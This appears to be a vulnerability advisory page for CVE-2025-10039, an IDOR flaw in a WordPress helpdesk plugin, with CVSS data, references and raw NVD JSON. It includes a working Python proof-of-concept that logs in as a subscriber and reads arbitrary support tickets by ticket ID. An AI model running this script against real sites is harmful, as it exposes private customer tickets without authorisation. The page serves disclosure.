Security Vulnerability Report
中文
CVE-2025-10039 CVSS 4.3 MEDIUM

CVE-2025-10039

Published: 2025-11-21 13:15:45
Last Modified: 2025-11-26 16:49:15

Description

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.2.9 via the 'eh_crm_ticket_single_view_client' due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of all support tickets.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:* - VULNERABLE
ELEX WordPress HelpDesk & Customer Ticketing System <= 3.2.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-10039 PoC - IDOR in ELEX WordPress HelpDesk Plugin # Target: WordPress site with ELEX HelpDesk plugin <= 3.2.9 # Authentication required: Subscriber-level or higher def exploit_idor(target_url, username, password, ticket_id): """ Exploit IDOR vulnerability in eh_crm_ticket_single_view_client to read arbitrary ticket contents without proper authorization """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } # Set user agent and cookies session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return None print("[+] Login successful") # Step 2: Exploit IDOR vulnerability # The vulnerable parameter is ticket_id in the AJAX request exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'eh_crm_ticket_single_view_client', 'ticket_id': ticket_id # Manipulate this to access any ticket } resp = session.post(exploit_url, data=exploit_data) if resp.status_code == 200: print(f"[+] Ticket #{ticket_id} content retrieved:") print(resp.text) return resp.json() else: print(f"[-] Failed to retrieve ticket #{ticket_id}") return None def main(): if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <ticket_id>") print(f"Example: python {sys.argv[0]} http://example.com subscriber pass123 1") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] tid = int(sys.argv[4]) exploit_idor(target, user, pwd, tid) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10039", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:45.467", "lastModified": "2025-11-26T16:49:15.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 3.2.9 via the 'eh_crm_ticket_single_view_client' due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of all support tickets."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.3.0", "matchCriteriaId": "9AA8F1F6-1F57-465A-830A-92297F14DEB5"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions.php#L259", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://plugins.trac.wordpress.org/changeset/3391342/", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d9ffc0af-9c3d-4f8e-ae0b-e51c0c67dfe1?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}